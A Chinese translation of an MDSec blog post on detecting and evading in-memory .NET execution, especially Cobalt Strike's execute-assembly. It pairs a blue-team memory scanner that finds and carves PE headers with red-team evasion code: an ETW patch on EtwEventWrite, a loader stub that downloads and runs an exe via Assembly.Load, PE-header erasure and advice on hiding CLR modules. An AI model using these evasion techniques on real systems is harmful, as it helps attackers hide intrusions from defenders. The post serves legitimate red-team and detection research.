概述
对于红队的攻击操作来说,使用内存中的Tradecraft所起到的效果变得越来越大,这主要是由于EDR不断进行功能改进,已经使越来越多的蓝队获得了监测运行中内存的能力。
此前,我们曾经讨论过将混淆处理集成到管道中的方法,也讨论过如何绕过Windows事件跟踪的方式,这两种方法都可以有助于减少蓝队用于检测内存中Tradecraft的有效指标。
Pentest Laboratories近期发表了一篇题为《AppDomainManager注入和检测》的文章,其中概述了如何使用AppDomainManager对象实现和检测内存中的.NET执行。在这篇文章的基础上,我们开始思考如何将这些概念应用于其他.NET执行技术,例如Cobalt Strike的execute-assembly,由此我们开展了一系列的研究。对于红队成员来说,了解我们所使用的工具以及工具的劣势,是至关重要的一个方面。
在本文中,我们将说明检测内存中程序集执行的另一种方式,并重点说明能进一步优化Tradecraft的可行策略。
回顾:ETW修补
在讨论本文的主要话题之前,我们首先回顾一下从上一篇文章中学到的内容,在上篇文章中,我们详细介绍了红队是如何修补Windows事件跟踪的函数,以限制正在运行的进程CLR中可见的程序集。在该过程中,涉及到修补ntdll.dll!EtwEventWrite函数,以防止该事件被报告。
我们可以使用.NET程序集选项卡,检查通过ETW在ProcessHacker中报告的程序集,如下所示:
但同时,我们也可以修补EtwEventWrite,使其实现以下的代码返回:
internal static void PatchEtwEventWrite() { bool result; var hook = new byte[] { 0xc2, 0x14, 0x00, 0x00 }; var address = GetProcAddress(LoadLibrary("ntdll.dll"), "EtwEventWrite"); result = VirtualProtect(address, (UIntPtr)hook.Length, (uint)MemoryProtectionConsts.EXECUTE_READWRITE, out uint oldProtect); Marshal.Copy(hook, 0, address, hook.Length); result = VirtualProtect(address, (UIntPtr)hook.Length, oldProtect, out uint blackhole); }
在应用补丁后,将会显示出如下的结果,可以证明成功限制了ETW的有效性:
在这个阶段,我们还希望了解.NET exe在内存中运行时的隐蔽性,并希望能分析Cobalt Strike的beacon execute-assembly功能是如何工作的。
深入分析Cobalt Strike的execute-assembly
Cobalt Strike的execute-assembly提供了漏洞利用后的功能,可以根据malleable配置稳健的spawnto配置,将CLR注入到远程进程中。
在这里,我们不会详细介绍CLR的注入方式,因为在以前的文章中已经做过说明。但是,值得注意的是,在利用CLR时,会将CLR DLL clr.ddl、clrjit.dll和其他相关文件加载到任何正在运行的进程中,并且Cobalt Strikes的execute-assembly也不例外:
当然,这就为蓝队如何寻找内存中的.NET执行提供了一个起点,可以缩小可能承载.NET exe进程的范围。毫无疑问,这可以作为一个基线,以识别不应加载的CLR进程异常。TheWover还提供了一个出色的工具用来监视模块加载,可以作为检测CLR加载过程的一种方法。
我们可以使用process-inject块中的选项,在某种程度上控制远程进程注入的配置,并且还可以使用startrwx和userwx设置来调整初始和最终页面的权限。首先,要允许使用READWRITE权限分配内存,然后将VirtualProtected分配给EXECUTE_READ,以防范蓝队通常情况下搜索EXECUTE_READWRITE设置。
让我们来执行一个长期运行的进程,以便可以正确分析注入过程中发生的事情:
public static void Main(string[] args) { while (true) { Console.WriteLine("Sleeping"); Thread.Sleep(60000); } }
根据我们在spawnto配置中定义的进程,我们可以通过对所有长度为10以上的字符串进行搜索,以快速识别.NET二进制文件,该字符串通常会指向.NET exe的PE标头:
正如预期的那样,这是由我们的malleable配置文件提供的EXECUTE_READ页面。
在这个阶段,我们将.NET exe映射到内存中,但这在CLR中并不罕见,并且是可以预期的,特别是在使用Assemble.Load()之类的方法时。确实,在标准Windows 10桌面版中,如果我们扫描整个私有内存中所有正在运行的进程,会发现几个带有PE标头的私有内存进程。
接下来,让我们看看使用简单的加载器,通过Assembly.Load()检索并执行exe时会发生什么。为此,我们将使用以下简单的Stub:
var webClient = new System.Net.WebClient(); var data = webClient.DownloadData("http://10.37.129.2:8888/DummyConsole.exe"); try { MethodInfo target = Assembly.Load(data).EntryPoint; target.Invoke(null, new object[] { null }); } catch (Exception ex) { Console.WriteLine(ex.Message); }
将这个进程加载到Process Hacker中,我们就可以迅速地发现,我们的DummyConsole.exe应用程序再次映射到内存中:
但是,这里的主要区别在于,页面权限是不可执行的,这是预期的状况,因为正常执行会读取IL,并在其他位置进行JIT。
考虑到这一点,我们现在已经有了使用execute-assembly的潜在指标。在所有的测试过程中,我们无法使用CLR识别包含EXECUTE_READ或EXECUTE_READWRITE页面内PE标头的CLR的任何其他进程,也就是说无法识别Cobalt Strike的execute-assembly之外的任何利用方式所对应的进程。
蓝队:如何检测execute-assembly
现在,我们已经有了一个潜在的威胁指标(IoC),我们接下来研究如何搜寻execute-assembly的使用。
我们需要做的第一件事,就是将搜索范围缩小到仅加载CLR的进程,我们可以使用简单的C#代码来执行此操作,示例代码如下,它将检索正在运行的进程以及其加载的模块列表:
Process[] processlist = Process.GetProcesses(); foreach (Process theprocess in processlist) { try { ProcessModuleCollection myProcessModuleCollection = theprocess.Modules; ProcessModule myProcessModule; for (int i = 0; i < myProcessModuleCollection.Count; i++) { myProcessModule = myProcessModuleCollection[i]; if (myProcessModule.ModuleName.Contains("clr.dll")) { Console.WriteLine("######### Process: {0} ID: {1}", theprocess.ProcessName, theprocess.Id); Console.WriteLine("The moduleName is " + myProcessModule.ModuleName); Console.WriteLine("The " + myProcessModule.ModuleName + "'s base address is: " + myProcessModule.BaseAddress); Console.WriteLine("The " + myProcessModule.ModuleName + "'s Entry point address is: " + myProcessModule.EntryPointAddress); Console.WriteLine("The " + myProcessModule.ModuleName + "'s File name is: " + myProcessModule.FileName); i = myProcessModuleCollection.Count; } } } catch (Exception e) { Console.WriteLine("!!!!!!!! Unable to Access Process: {0} ID: {1}", theprocess.ProcessName, theprocess.Id); } }
其输出将类似于如下内容:
现在,我们有了使用CLR的进程列表,我们需要在每个进程中搜索EXECUTE_READ或EXECUTE_READWRITE页面内的PE标头。
实现这一点相对比较简单,我们只需使用CLR为每个进程恢复此前分配的私有内存的详细信息,然后读取该内存,扫描PE标头:
static Byte[] peHeader = new Byte[] { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65 }; public static void MemScan(string processName) { SYSTEM_INFO sys_info = new SYSTEM_INFO(); GetSystemInfo(out sys_info); UIntPtr proc_min_address = sys_info.minimumApplicationAddress; UIntPtr proc_max_address = sys_info.maximumApplicationAddress; ulong proc_min_address_l = (ulong)proc_min_address; ulong proc_max_address_l = (ulong)proc_max_address; Process process = Process.GetProcessesByName(processName); UIntPtr processHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_WM_READ, false, (uint)process.Id); MEMORY_BASIC_INFORMATION mem_basic_info = new MEMORY_BASIC_INFORMATION(); uint bytesRead = 0; while (proc_min_address_l < proc_max_address_l) { VirtualQueryEx(processHandle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))); if (((mem_basic_info.Protect == PAGE_EXECUTE_READWRITE) || (mem_basic_info.Protect == PAGE_EXECUTE_READ)) && mem_basic_info.State == MEM_COMMIT) { byte[] buffer = new byte[mem_basic_info.RegionSize]; ReadProcessMemory(processHandle, mem_basic_info.BaseAddress, buffer, mem_basic_info.RegionSize, ref bytesRead); IntPtr Result = _Scan(buffer, peHeader); if (Result != IntPtr.Zero) { Console.WriteLine("!!! Found PE binary in region: 0x{0}, Region Sz 0x{1}", (mem_basic_info.BaseAddress).ToString("X"), (mem_basic_info.RegionSize).ToString("X")); } } proc_min_address_l += mem_basic_info.RegionSize; proc_min_address = new UIntPtr(proc_min_address_l); } }
重新进行我们的搜寻过程,这次使用我们新添加的内存扫描程序,在spawnto进程中发现了PE二进制文件:
我们可以通过分析Process Hacker中的进程,来验证这是正确的:
既然我们知道,可以识别由execute-assembly注入的.NET exe,那么就可以通过提取整个页面从内存中实现,如下所示:
if (Result != IntPtr.Zero) { Console.WriteLine("!!! Found PE binary in region: 0x{0}, Region Sz 0x{1}", (mem_basic_info.BaseAddress).ToString("X"), (mem_basic_info.RegionSize).ToString("X")); Console.WriteLine("!!! Carving PE from memory..."); using (FileStream fileStream = new FileStream("out.exe", FileMode.Create)) { for (uint i = (uint)Result; i < mem_basic_info.RegionSize; i++) { fileStream.WriteByte(buffer[i]); } } }
通过搜寻,我们现在不仅能够识别出execute-assembly的使用,还可以从远程进程中提取到二进制文件:
我们可以通过尝试运行二进制文件的方式,来确认已经从内存中正确地提取了二进制文件,但对于蓝队的分析过程来说,如果运行文件,则需要足够小心:
红队:在内存中使用.NET Tradecraft
既然我们已经研究过蓝队如何检测execute-assembly,那接下来我们就从进攻的角度来看看,红队可以采取哪些方法来缓解这样的检测。
首先,我们从检测方法的工作原理入手,寻找一个可能破坏检测方式的地方。在我们的方法中,内存中.NET执行的关键指标有:
1、进程内部加载的CLR相关模块;
2、RX或RW页面权限;
3、页面内部的PE标头。
考虑到这一点,我们可以使用几种策略来优化内存中的.NET Tradecraft:
1、在将CLR DLL加载到远程进程中时,我们应该考虑使用合法托管CLR的进程作为execute-assembly的spawnto,以避免将可疑模块的加载包含到基线之中。
2、在搜索已加载的DLL时,许多工具使用的最常用方法是从进程环境块(Process Environment Block)中读取模块列表。隐藏CLR DLL的方法包括从InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList和HashTableEntry列表取消链接模块。这个基本方法可以用于隐藏clr.dll、clrjit.dll和其他相关文件,以及依赖于遍历PEB的工具,导致这些工具无法识别某个进程正在使用CLR。
3、遗憾的是,据我们所知,仅使用Cobalt Strike的远程进程注入方式无法离开具有READWRITE权限的页面。但是,可以对它们进行VirtualProtect,并且可能会将其引导到管道之中。在接下来的几个月,我们将对这个领域开展更加深入的研究。
4、对于所使用的Tradecraft技术,我们可能还需要考虑在监视模块加载之外,避免或限制在内存中使用长时间运行的.NET程序集,在大多数情况下,内存扫描都是在某个时间点进行的。因此,.NET exe在内存中存在的时间越长,被检测到的概率就越大。
5、当我们在内存中搜索PE二进制文件时,有一种方法可能会限制检索,即重载PE标头。在后面,我们将逐步进行说明。
6、最后,正如我们所看到的,.NET exe以纯文本格式位于内存中,因此,我们建议红队成员对管道中的.NET exe进行混淆。MDSec一位出色的研究人员Adam Chester此前发表过一篇文章,其中说明了使用Azure管道实现这一目标的方法。
如前所述,红队成员可能希望从内存中装载.NET exe的PE标头,同时将页面权限保留为READWRITE。要实现这一目标,方法如下:首先在我们的spawnto进程(似乎是.NET exe的映射位置)中检索分配的内存的第一块,然后将页面权限设置为READWRITE,然后使用RtlFillMemory覆盖PE标头。这一步骤可以使用下面的代码来完成:
private static int ErasePEHeader() { SYSTEM_INFO sys_info = new SYSTEM_INFO(); GetSystemInfo(out sys_info); UIntPtr proc_min_address = sys_info.minimumApplicationAddress; UIntPtr proc_max_address = sys_info.maximumApplicationAddress; ulong proc_min_address_l = (ulong)proc_min_address; ulong proc_max_address_l = (ulong)proc_max_address; Process currentProcess = Process.GetCurrentProcess(); MEMORY_BASIC_INFORMATION mem_basic_info = new MEMORY_BASIC_INFORMATION(); VirtualQueryEx(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))); proc_min_address_l += mem_basic_info.RegionSize; proc_min_address = new UIntPtr(proc_min_address_l); VirtualQueryEx(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))); Console.WriteLine("Base Address: 0x{0}", (mem_basic_info.BaseAddress).ToString("X")); bool result = VirtualProtect((UIntPtr)mem_basic_info.BaseAddress, (UIntPtr)4096, (uint)MemoryProtectionConsts.READWRITE, out uint oldProtect); FillMemory((UIntPtr)mem_basic_info.BaseAddress, 132, 0); Console.WriteLine("PE Header overwritten at 0x{0}", (mem_basic_info.BaseAddress).ToString("X")); return 0; }
我们可能首先需要验证它是不是预期的PE标头,可以使用与我们的内存扫描工具相同的代码来完成这一操作,为了简单起见,我们将其忽略。我们可能还需要更改这个设置,以扫描堆,并清理可能在其中存在的exe文件的其他已分配副本。
将这种方法与我们先前详细说明的ETW绕过(针对x64架构需要调整修补的代码),我们就得到了一种能更好地将.NET Tradecraft隐藏在内存中的方法。如果我们在Process Hacker中查看.NET程序集,我们可以看到它们没有被报告:
我们的.NET exe的PE标头现在已经不存在,页面权限设置为RW:
总结
在本文中,我们描述了蓝队如何检测内存中.NET执行的方法,并详细介绍了Cobalt Strike的execute-assembly功能的实际案例,确定了内置execute-assembly功能的威胁指标。在掌握这些知识后,我们就可以有针对性地提出运营过程的策略,红队可以利用这些策略来进一步优化其内存中的Tradecraft,并尽可能避免被蓝队发现。
关于内存扫描工具的源代码,请参考: https://github.com/dmchell/Sniper 。
本文由Dominic Chell撰写。
本文翻译自:https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/如若转载,请注明原文地址: